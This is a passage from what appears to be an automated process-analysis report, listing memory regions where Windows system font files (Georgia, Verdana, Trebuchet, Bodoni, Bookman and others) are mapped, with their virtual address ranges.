0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framd.ttf" filename = "\\Windows\\Fonts\\framd.ttf" (normalized: "c:\\windows\\fonts\\framd.ttf") Region: id = 908 start_va = 0x5b0000 end_va = 0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framd.ttf" filename = "\\Windows\\Fonts\\framd.ttf" (normalized: "c:\\windows\\fonts\\framd.ttf") Region: id = 909 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdit.ttf" filename = "\\Windows\\Fonts\\framdit.ttf" (normalized: "c:\\windows\\fonts\\framdit.ttf") Region: id = 910 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "framdit.ttf" filename = "\\Windows\\Fonts\\framdit.ttf" (normalized: "c:\\windows\\fonts\\framdit.ttf") Region: id = 911 start_va = 0x1b500000 end_va = 0x1b6b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gabriola.ttf" filename = "\\Windows\\Fonts\\Gabriola.ttf" (normalized: "c:\\windows\\fonts\\gabriola.ttf") Region: id = 912 start_va = 0x1b500000 end_va = 0x1b6b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gabriola.ttf" filename = "\\Windows\\Fonts\\Gabriola.ttf" (normalized: "c:\\windows\\fonts\\gabriola.ttf") Region: id = 913 start_va = 0x5b0000 end_va = 0x5d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgia.ttf" filename = "\\Windows\\Fonts\\georgia.ttf" (normalized: "c:\\windows\\fonts\\georgia.ttf") Region: id = 914 start_va = 0x5b0000 end_va = 0x5d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgia.ttf" filename = "\\Windows\\Fonts\\georgia.ttf" (normalized: "c:\\windows\\fonts\\georgia.ttf") Region: id = 915 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiai.ttf" filename = "\\Windows\\Fonts\\georgiai.ttf" (normalized: "c:\\windows\\fonts\\georgiai.ttf") Region: id = 916 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiai.ttf" filename = "\\Windows\\Fonts\\georgiai.ttf" (normalized: "c:\\windows\\fonts\\georgiai.ttf") Region: id = 917 start_va = 0x5b0000 end_va = 0x5d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiab.ttf" filename = "\\Windows\\Fonts\\georgiab.ttf" (normalized: "c:\\windows\\fonts\\georgiab.ttf") Region: id = 918 start_va = 0x5b0000 end_va = 0x5d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiab.ttf" filename = "\\Windows\\Fonts\\georgiab.ttf" (normalized: "c:\\windows\\fonts\\georgiab.ttf") Region: id = 919 start_va = 0x5b0000 end_va = 0x5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiaz.ttf" filename = "\\Windows\\Fonts\\georgiaz.ttf" (normalized: "c:\\windows\\fonts\\georgiaz.ttf") Region: id = 920 start_va = 0x5b0000 end_va = 0x5d8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "georgiaz.ttf" filename = "\\Windows\\Fonts\\georgiaz.ttf" (normalized: "c:\\windows\\fonts\\georgiaz.ttf") Region: id = 921 start_va = 0x2190000 end_va = 0x2203fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pala.ttf" filename = "\\Windows\\Fonts\\pala.ttf" (normalized: "c:\\windows\\fonts\\pala.ttf") Region: id = 922 start_va = 0x2190000 end_va = 0x2203fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pala.ttf" filename = "\\Windows\\Fonts\\pala.ttf" (normalized: "c:\\windows\\fonts\\pala.ttf") Region: id = 923 start_va = 0x2190000 end_va = 0x21f5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palai.ttf" filename = "\\Windows\\Fonts\\palai.ttf" (normalized: "c:\\windows\\fonts\\palai.ttf") Region: id = 924 start_va = 0x2190000 end_va = 0x21f5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palai.ttf" filename = "\\Windows\\Fonts\\palai.ttf" (normalized: "c:\\windows\\fonts\\palai.ttf") Region: id = 925 start_va = 0x2190000 end_va = 0x21f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palab.ttf" filename = "\\Windows\\Fonts\\palab.ttf" (normalized: "c:\\windows\\fonts\\palab.ttf") Region: id = 926 start_va = 0x2190000 end_va = 0x21f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palab.ttf" filename = "\\Windows\\Fonts\\palab.ttf" (normalized: "c:\\windows\\fonts\\palab.ttf") Region: id = 927 start_va = 0x2190000 end_va = 0x21e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palabi.ttf" filename = "\\Windows\\Fonts\\palabi.ttf" (normalized: "c:\\windows\\fonts\\palabi.ttf") Region: id = 928 start_va = 0x2190000 end_va = 0x21e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "palabi.ttf" filename = "\\Windows\\Fonts\\palabi.ttf" (normalized: "c:\\windows\\fonts\\palabi.ttf") Region: id = 929 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoepr.ttf" filename = "\\Windows\\Fonts\\segoepr.ttf" (normalized: "c:\\windows\\fonts\\segoepr.ttf") Region: id = 930 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoepr.ttf" filename = "\\Windows\\Fonts\\segoepr.ttf" (normalized: "c:\\windows\\fonts\\segoepr.ttf") Region: id = 931 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeprb.ttf" filename = "\\Windows\\Fonts\\segoeprb.ttf" (normalized: "c:\\windows\\fonts\\segoeprb.ttf") Region: id = 932 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeprb.ttf" filename = "\\Windows\\Fonts\\segoeprb.ttf" (normalized: "c:\\windows\\fonts\\segoeprb.ttf") Region: id = 933 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebuc.ttf" filename = "\\Windows\\Fonts\\trebuc.ttf" (normalized: "c:\\windows\\fonts\\trebuc.ttf") Region: id = 934 start_va = 0x5b0000 end_va = 0x5d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebuc.ttf" filename = "\\Windows\\Fonts\\trebuc.ttf" (normalized: "c:\\windows\\fonts\\trebuc.ttf") Region: id = 935 start_va = 0x5b0000 end_va = 0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucit.ttf" filename = "\\Windows\\Fonts\\trebucit.ttf" (normalized: "c:\\windows\\fonts\\trebucit.ttf") Region: id = 936 start_va = 0x5b0000 end_va = 0x5d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucit.ttf" filename = "\\Windows\\Fonts\\trebucit.ttf" (normalized: "c:\\windows\\fonts\\trebucit.ttf") Region: id = 937 start_va = 0x470000 end_va = 0x48efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbd.ttf" filename = "\\Windows\\Fonts\\trebucbd.ttf" (normalized: "c:\\windows\\fonts\\trebucbd.ttf") Region: id = 938 start_va = 0x470000 end_va = 0x48efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbd.ttf" filename = "\\Windows\\Fonts\\trebucbd.ttf" (normalized: "c:\\windows\\fonts\\trebucbd.ttf") Region: id = 939 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbi.ttf" filename = "\\Windows\\Fonts\\trebucbi.ttf" (normalized: "c:\\windows\\fonts\\trebucbi.ttf") Region: id = 940 start_va = 0x5b0000 end_va = 0x5d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trebucbi.ttf" filename = "\\Windows\\Fonts\\trebucbi.ttf" (normalized: "c:\\windows\\fonts\\trebucbi.ttf") Region: id = 941 start_va = 0x5b0000 end_va = 0x5ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdana.ttf" filename = "\\Windows\\Fonts\\verdana.ttf" (normalized: "c:\\windows\\fonts\\verdana.ttf") Region: id = 942 start_va = 0x5b0000 end_va = 0x5ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdana.ttf" filename = "\\Windows\\Fonts\\verdana.ttf" (normalized: "c:\\windows\\fonts\\verdana.ttf") Region: id = 943 start_va = 0x5b0000 end_va = 0x5dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanai.ttf" filename = "\\Windows\\Fonts\\verdanai.ttf" (normalized: "c:\\windows\\fonts\\verdanai.ttf") Region: id = 944 start_va = 0x5b0000 end_va = 0x5dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanai.ttf" filename = "\\Windows\\Fonts\\verdanai.ttf" (normalized: "c:\\windows\\fonts\\verdanai.ttf") Region: id = 945 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanab.ttf" filename = "\\Windows\\Fonts\\verdanab.ttf" (normalized: "c:\\windows\\fonts\\verdanab.ttf") Region: id = 946 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanab.ttf" filename = "\\Windows\\Fonts\\verdanab.ttf" (normalized: "c:\\windows\\fonts\\verdanab.ttf") Region: id = 947 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanaz.ttf" filename = "\\Windows\\Fonts\\verdanaz.ttf" (normalized: "c:\\windows\\fonts\\verdanaz.ttf") Region: id = 948 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "verdanaz.ttf" filename = "\\Windows\\Fonts\\verdanaz.ttf" (normalized: "c:\\windows\\fonts\\verdanaz.ttf") Region: id = 949 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "webdings.ttf" filename = "\\Windows\\Fonts\\webdings.ttf" (normalized: "c:\\windows\\fonts\\webdings.ttf") Region: id = 950 start_va = 0x470000 end_va = 0x48dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "webdings.ttf" filename = "\\Windows\\Fonts\\webdings.ttf" (normalized: "c:\\windows\\fonts\\webdings.ttf") Region: id = 951 start_va = 0x440000 end_va = 0x445fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "coure.fon" filename = "\\Windows\\Fonts\\coure.fon" (normalized: "c:\\windows\\fonts\\coure.fon") Region: id = 952 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "serife.fon" filename = "\\Windows\\Fonts\\serife.fon" (normalized: "c:\\windows\\fonts\\serife.fon") Region: id = 953 start_va = 0x440000 end_va = 0x44ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sserife.fon" filename = "\\Windows\\Fonts\\sserife.fon" (normalized: "c:\\windows\\fonts\\sserife.fon") Region: id = 954 start_va = 0x440000 end_va = 0x446fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smalle.fon" filename = "\\Windows\\Fonts\\smalle.fon" (normalized: "c:\\windows\\fonts\\smalle.fon") Region: id = 955 start_va = 0x440000 end_va = 0x445fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "smallf.fon" filename = "\\Windows\\Fonts\\smallf.fon" (normalized: "c:\\windows\\fonts\\smallf.fon") Region: id = 956 start_va = 0x1b0f0000 end_va = 0x1b238fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmala.ttf" filename = "\\Windows\\Fonts\\NIRMALA.TTF" (normalized: "c:\\windows\\fonts\\nirmala.ttf") Region: id = 957 start_va = 0x1b0f0000 end_va = 0x1b238fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmala.ttf" filename = "\\Windows\\Fonts\\NIRMALA.TTF" (normalized: "c:\\windows\\fonts\\nirmala.ttf") Region: id = 958 start_va = 0x1b0f0000 end_va = 0x1b22cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmalab.ttf" filename = "\\Windows\\Fonts\\NIRMALAB.TTF" (normalized: "c:\\windows\\fonts\\nirmalab.ttf") Region: id = 959 start_va = 0x1b0f0000 end_va = 0x1b22cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nirmalab.ttf" filename = "\\Windows\\Fonts\\NIRMALAB.TTF" (normalized: "c:\\windows\\fonts\\nirmalab.ttf") Region: id = 960 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyb.ttf" filename = "\\Windows\\Fonts\\AGENCYB.TTF" (normalized: "c:\\windows\\fonts\\agencyb.ttf") Region: id = 961 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyb.ttf" filename = "\\Windows\\Fonts\\AGENCYB.TTF" (normalized: "c:\\windows\\fonts\\agencyb.ttf") Region: id = 962 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyr.ttf" filename = "\\Windows\\Fonts\\AGENCYR.TTF" (normalized: "c:\\windows\\fonts\\agencyr.ttf") Region: id = 963 start_va = 0x440000 end_va = 0x44efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "agencyr.ttf" filename = "\\Windows\\Fonts\\AGENCYR.TTF" (normalized: "c:\\windows\\fonts\\agencyr.ttf") Region: id = 964 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alger.ttf" filename = "\\Windows\\Fonts\\ALGER.TTF" (normalized: "c:\\windows\\fonts\\alger.ttf") Region: id = 965 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alger.ttf" filename = "\\Windows\\Fonts\\ALGER.TTF" (normalized: "c:\\windows\\fonts\\alger.ttf") Region: id = 966 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquab.ttf" filename = "\\Windows\\Fonts\\ANTQUAB.TTF" (normalized: "c:\\windows\\fonts\\antquab.ttf") Region: id = 967 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquab.ttf" filename = "\\Windows\\Fonts\\ANTQUAB.TTF" (normalized: "c:\\windows\\fonts\\antquab.ttf") Region: id = 968 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquabi.ttf" filename = "\\Windows\\Fonts\\ANTQUABI.TTF" (normalized: "c:\\windows\\fonts\\antquabi.ttf") Region: id = 969 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquabi.ttf" filename = "\\Windows\\Fonts\\ANTQUABI.TTF" (normalized: "c:\\windows\\fonts\\antquabi.ttf") Region: id = 970 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquai.ttf" filename = "\\Windows\\Fonts\\ANTQUAI.TTF" (normalized: "c:\\windows\\fonts\\antquai.ttf") Region: id = 971 start_va = 0x5b0000 end_va = 0x5d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "antquai.ttf" filename = "\\Windows\\Fonts\\ANTQUAI.TTF" (normalized: "c:\\windows\\fonts\\antquai.ttf") Region: id = 972 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialn.ttf" filename = "\\Windows\\Fonts\\ARIALN.TTF" (normalized: "c:\\windows\\fonts\\arialn.ttf") Region: id = 973 start_va = 0x5b0000 end_va = 0x5dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialn.ttf" filename = "\\Windows\\Fonts\\ARIALN.TTF" (normalized: "c:\\windows\\fonts\\arialn.ttf") Region: id = 974 start_va = 0x5b0000 end_va = 0x5dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnb.ttf" filename = "\\Windows\\Fonts\\ARIALNB.TTF" (normalized: "c:\\windows\\fonts\\arialnb.ttf") Region: id = 975 start_va = 0x5b0000 end_va = 0x5dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnb.ttf" filename = "\\Windows\\Fonts\\ARIALNB.TTF" (normalized: "c:\\windows\\fonts\\arialnb.ttf") Region: id = 976 start_va = 0x5b0000 end_va = 0x5dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnbi.ttf" filename = "\\Windows\\Fonts\\ARIALNBI.TTF" (normalized: "c:\\windows\\fonts\\arialnbi.ttf") Region: id = 977 start_va = 0x5b0000 end_va = 0x5dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialnbi.ttf" filename = "\\Windows\\Fonts\\ARIALNBI.TTF" (normalized: "c:\\windows\\fonts\\arialnbi.ttf") Region: id = 978 start_va = 0x5b0000 end_va = 0x5dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialni.ttf" filename = "\\Windows\\Fonts\\ARIALNI.TTF" (normalized: "c:\\windows\\fonts\\arialni.ttf") Region: id = 979 start_va = 0x5b0000 end_va = 0x5dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialni.ttf" filename = "\\Windows\\Fonts\\ARIALNI.TTF" (normalized: "c:\\windows\\fonts\\arialni.ttf") Region: id = 980 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arlrdbd.ttf" filename = "\\Windows\\Fonts\\ARLRDBD.TTF" (normalized: "c:\\windows\\fonts\\arlrdbd.ttf") Region: id = 981 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arlrdbd.ttf" filename = "\\Windows\\Fonts\\ARLRDBD.TTF" (normalized: "c:\\windows\\fonts\\arlrdbd.ttf") Region: id = 982 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "baskvill.ttf" filename = "\\Windows\\Fonts\\BASKVILL.TTF" (normalized: "c:\\windows\\fonts\\baskvill.ttf") Region: id = 983 start_va = 0x440000 end_va = 0x44dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "baskvill.ttf" filename = "\\Windows\\Fonts\\BASKVILL.TTF" (normalized: "c:\\windows\\fonts\\baskvill.ttf") Region: id = 984 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bauhs93.ttf" filename = "\\Windows\\Fonts\\BAUHS93.TTF" (normalized: "c:\\windows\\fonts\\bauhs93.ttf") Region: id = 985 start_va = 0x440000 end_va = 0x44bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bauhs93.ttf" filename = "\\Windows\\Fonts\\BAUHS93.TTF" (normalized: "c:\\windows\\fonts\\bauhs93.ttf") Region: id = 986 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bell.ttf" filename = "\\Windows\\Fonts\\BELL.TTF" (normalized: "c:\\windows\\fonts\\bell.ttf") Region: id = 987 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bell.ttf" filename = "\\Windows\\Fonts\\BELL.TTF" (normalized: "c:\\windows\\fonts\\bell.ttf") Region: id = 988 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bellb.ttf" filename = "\\Windows\\Fonts\\BELLB.TTF" (normalized: "c:\\windows\\fonts\\bellb.ttf") Region: id = 989 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bellb.ttf" filename = "\\Windows\\Fonts\\BELLB.TTF" (normalized: "c:\\windows\\fonts\\bellb.ttf") Region: id = 990 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "belli.ttf" filename = "\\Windows\\Fonts\\BELLI.TTF" (normalized: "c:\\windows\\fonts\\belli.ttf") Region: id = 991 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "belli.ttf" filename = "\\Windows\\Fonts\\BELLI.TTF" (normalized: "c:\\windows\\fonts\\belli.ttf") Region: id = 992 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bernhc.ttf" filename = "\\Windows\\Fonts\\BERNHC.TTF" (normalized: "c:\\windows\\fonts\\bernhc.ttf") Region: id = 993 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bernhc.ttf" filename = "\\Windows\\Fonts\\BERNHC.TTF" (normalized: "c:\\windows\\fonts\\bernhc.ttf") Region: id = 994 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bkant.ttf" filename = "\\Windows\\Fonts\\BKANT.TTF" (normalized: "c:\\windows\\fonts\\bkant.ttf") Region: id = 995 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bkant.ttf" filename = "\\Windows\\Fonts\\BKANT.TTF" (normalized: "c:\\windows\\fonts\\bkant.ttf") Region: id = 996 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_b.ttf" filename = "\\Windows\\Fonts\\BOD_B.TTF" (normalized: "c:\\windows\\fonts\\bod_b.ttf") Region: id = 997 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_b.ttf" filename = "\\Windows\\Fonts\\BOD_B.TTF" (normalized: "c:\\windows\\fonts\\bod_b.ttf") Region: id = 998 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_bi.ttf" filename = "\\Windows\\Fonts\\BOD_BI.TTF" (normalized: "c:\\windows\\fonts\\bod_bi.ttf") Region: id = 999 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_bi.ttf" filename = "\\Windows\\Fonts\\BOD_BI.TTF" (normalized: "c:\\windows\\fonts\\bod_bi.ttf") Region: id = 1000 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blai.ttf" filename = "\\Windows\\Fonts\\BOD_BLAI.TTF" (normalized: "c:\\windows\\fonts\\bod_blai.ttf") Region: id = 1001 start_va = 0x470000 end_va = 0x484fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blai.ttf" filename = "\\Windows\\Fonts\\BOD_BLAI.TTF" (normalized: "c:\\windows\\fonts\\bod_blai.ttf") Region: id = 1002 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blar.ttf" filename = "\\Windows\\Fonts\\BOD_BLAR.TTF" (normalized: "c:\\windows\\fonts\\bod_blar.ttf") Region: id = 1003 start_va = 0x470000 end_va = 0x481fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_blar.ttf" filename = "\\Windows\\Fonts\\BOD_BLAR.TTF" (normalized: "c:\\windows\\fonts\\bod_blar.ttf") Region: id = 1004 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cb.ttf" filename = "\\Windows\\Fonts\\BOD_CB.TTF" (normalized: "c:\\windows\\fonts\\bod_cb.ttf") Region: id = 1005 start_va = 0x470000 end_va = 0x482fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cb.ttf" filename = "\\Windows\\Fonts\\BOD_CB.TTF" (normalized: "c:\\windows\\fonts\\bod_cb.ttf") Region: id = 1006 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cbi.ttf" filename = "\\Windows\\Fonts\\BOD_CBI.TTF" (normalized: "c:\\windows\\fonts\\bod_cbi.ttf") Region: id = 1007 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cbi.ttf" filename = "\\Windows\\Fonts\\BOD_CBI.TTF" (normalized: "c:\\windows\\fonts\\bod_cbi.ttf") Region: id = 1008 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_ci.ttf" filename = "\\Windows\\Fonts\\BOD_CI.TTF" (normalized: "c:\\windows\\fonts\\bod_ci.ttf") Region: id = 1009 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_ci.ttf" filename = "\\Windows\\Fonts\\BOD_CI.TTF" (normalized: "c:\\windows\\fonts\\bod_ci.ttf") Region: id = 1010 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cr.ttf" filename = "\\Windows\\Fonts\\BOD_CR.TTF" (normalized: "c:\\windows\\fonts\\bod_cr.ttf") Region: id = 1011 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_cr.ttf" filename = "\\Windows\\Fonts\\BOD_CR.TTF" (normalized: "c:\\windows\\fonts\\bod_cr.ttf") Region: id = 1012 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_i.ttf" filename = "\\Windows\\Fonts\\BOD_I.TTF" (normalized: "c:\\windows\\fonts\\bod_i.ttf") Region: id = 1013 start_va = 0x470000 end_va = 0x485fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_i.ttf" filename = "\\Windows\\Fonts\\BOD_I.TTF" (normalized: "c:\\windows\\fonts\\bod_i.ttf") Region: id = 1014 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_pstc.ttf" filename = "\\Windows\\Fonts\\BOD_PSTC.TTF" (normalized: "c:\\windows\\fonts\\bod_pstc.ttf") Region: id = 1015 start_va = 0x470000 end_va = 0x486fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_pstc.ttf" filename = "\\Windows\\Fonts\\BOD_PSTC.TTF" (normalized: "c:\\windows\\fonts\\bod_pstc.ttf") Region: id = 1016 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_r.ttf" filename = "\\Windows\\Fonts\\BOD_R.TTF" (normalized: "c:\\windows\\fonts\\bod_r.ttf") Region: id = 1017 start_va = 0x470000 end_va = 0x483fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bod_r.ttf" filename = "\\Windows\\Fonts\\BOD_R.TTF" (normalized: "c:\\windows\\fonts\\bod_r.ttf") Region: id = 1018 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookos.ttf" filename = "\\Windows\\Fonts\\BOOKOS.TTF" (normalized: "c:\\windows\\fonts\\bookos.ttf") Region: id = 1019 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookos.ttf" filename = "\\Windows\\Fonts\\BOOKOS.TTF" (normalized: "c:\\windows\\fonts\\bookos.ttf") Region: id = 1020 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosb.ttf" filename = "\\Windows\\Fonts\\BOOKOSB.TTF" (normalized: "c:\\windows\\fonts\\bookosb.ttf") Region: id = 1021 start_va = 0x5b0000 end_va = 0x5d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosb.ttf" filename = "\\Windows\\Fonts\\BOOKOSB.TTF" (normalized: "c:\\windows\\fonts\\bookosb.ttf") Region: id = 1022 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosbi.ttf" filename = "\\Windows\\Fonts\\BOOKOSBI.TTF" (normalized: "c:\\windows\\fonts\\bookosbi.ttf") Region: id = 1023 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosbi.ttf" filename = "\\Windows\\Fonts\\BOOKOSBI.TTF" (normalized: "c:\\windows\\fonts\\bookosbi.ttf") Region: id = 1024 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosi.ttf" filename = "\\Windows\\Fonts\\BOOKOSI.TTF" (normalized: "c:\\windows\\fonts\\bookosi.ttf") Region: id = 1025 start_va = 0x5b0000 end_va = 0x5d7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bookosi.ttf" filename = "\\Windows\\Fonts\\BOOKOSI.TTF" (normalized: "c:\\windows\\fonts\\bookosi.ttf") Region: id = 1026 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bradhitc.ttf" filename = "\\Windows\\Fonts\\BRADHITC.TTF" (normalized: "c:\\windows\\fonts\\bradhitc.ttf") Region: id = 1027 start_va = 0x470000 end_va = 0x489fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bradhitc.ttf" filename = "\\Windows\\Fonts\\BRADHITC.TTF" (normalized: "c:\\windows\\fonts\\bradhitc.ttf") Region: id = 1028 start_va = 0x440000 end_va = 0x449fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "britanic.ttf" filename = "\\Windows\\Fonts\\BRITANIC.TTF" (normalized: 